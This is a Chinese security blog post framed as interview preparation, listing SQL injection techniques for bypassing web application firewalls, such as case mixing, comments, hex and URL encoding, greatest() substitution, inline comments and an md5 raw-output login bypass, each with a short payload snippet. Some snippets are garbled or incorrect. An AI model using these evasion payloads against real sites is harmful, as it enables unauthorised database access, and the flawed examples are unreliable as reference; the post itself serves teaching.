护网面试:SQL注入如何绕过

admin 2024年11月11日23:49:34评论16 views字数 2193阅读7分18秒阅读模式

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。本文章所内容免费,供大家学习研究使用。

最近是护网招聘的高峰时期,大家也纷纷开始投简历,蓝队简历每天投那么多,然而招聘需求却像往年一样,大体不会相差多少。所以怎么才能在众多面试中脱颖而出呢,咱们接着往下看。最近我通过询问、经验,渠道收集到近年甲方面试中会问到的频率比较高的问题。

今天我们来回答一下,当甲方问你SQL注入如何绕过,我们该怎么回答。以下内容很快会被你遇到,如果你看完了肯定能回答上来,只希望能给我点个赞,转个发,做个好事分享给朋友们。

护网面试:SQL注入如何绕过

  • 常见SQL注入绕过

  • SQL注入大小写绕过:

通过将语句大小写更改,进行绕过。(这种情况通常出现在WAF对打小写没有过滤的情况下)

UniOn AND 1 = 2
  • SQL注入注释符绕过:

通过添加注释符对语句内容进行绕

/*绕过的内容*/select user,password from /**/users
  • SQL注入空格绕过

通过添加空格的URL编码进入绕过

空格的URL编码%20
  • SQL注入引号绕过

使用到引号的地方一般在语句中,像where语句,这条语句意识就是用来查得到users表中所有字段

select column_name from information_schema.tables where table_name="users"select column_name from information_schema.tables where table_name="text"
  • SQL注入十六进制绕过

当引号绕过方法被过滤的情况下,还可以利用进制进行绕过。

进制在线转换工具:文末

将users转换为十六进制进行绕过select column_name from information_schema.tables where table_name=0x7573657273
  • SQL注入from for语句绕过

当进行SQL盲注会用到,substr() ,mid() ,limit。这些句子方法都需要用到逗号。对于substr() ,mid() 句子可以直接利用from for句子进行绕过。

 单引号绕过,与from for绕过 select substr(database() from 1 for 1)='tyaq'; select mid(database() from 1 for 1)='tyaq';
  • SQL注入比较符绕过<>

sql盲注,使用二分查找时需要使用到比较符来进行。

select * from users where id=1 and ascii(substr(database(),0,1))>88
  • SQL注入greatest绕过

当比较符被系统过滤了,比较符盲注语句无法使用时,可以使用greatest来代替比较操作符。greatest(n1,n2,n3,n4等)函数返回输入参数(n1,n2,n3,n4等)的最大值。

sql语句可以使用greatest变为ascii码值进行大小爆破

select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=88;
  • SQL注入编码绕过

URLEncode编码,ASCII,HEX,unicode编码绕过:

ASCII码绕过Test 等价于CHAR(55)+CHAR(66)+CHAR(88)+CHAR(99)
  • 对关键字进行URL编码绕过

URL编码转换绕过1+and+1=11+%25%36%31%25%36%65%25%36%34+1=1
  • 16进制编码转换绕过

将users转换为十六进制进行绕过select column_name from information_schema.tables where table_name=users;select column_name from information_schema.tables where table_name=0x7573657273;
  • SQL注入内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这些语句如果在其它数据库中是不会被执行而在SQL数据库中可被执行 select * from cms_users where userid=1 union /*!select*/ 1,2,3;

护网面试:SQL注入如何绕过

  • SQL绕过'.md5($pass,true).' 登录绕过

md5(passwd,true) 函数在指定了true的时候,是返回的原始 16 字符二进制格式,也就是说会返回这样子的字符串:'or’6xc9]x99xe9!r,xf9xedbx1c:很多网站未来安全都会使用这样的语句

护网面试:SQL注入如何绕过

护网面试:SQL注入如何绕过

进制在线转换工具 

http://www.txttool.com/t/?id=NDgy

感谢关注《天银安全》复制链接免费获取学习视频,定期给大家更新

链接:

https://pan.baidu.com/s/1HBvY8fiog6y5xelHwE7hFg?pwd=TYAQ 

提取码:TYAQ

护网面试:SQL注入如何绕过
推荐阅读
蜜罐
反序列化分析
利用python写母亲节祝福
整合全网资源,超详细BurpSuite汉化破解版教程,包括Java环境配置
好文分享一键收藏赞一下最美再看最帅

原文始发于微信公众号(天银安全):护网面试:SQL注入如何绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月11日23:49:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   护网面试:SQL注入如何绕过https://cn-sec.com/archives/1911158.html

发表评论

匿名网友 填写信息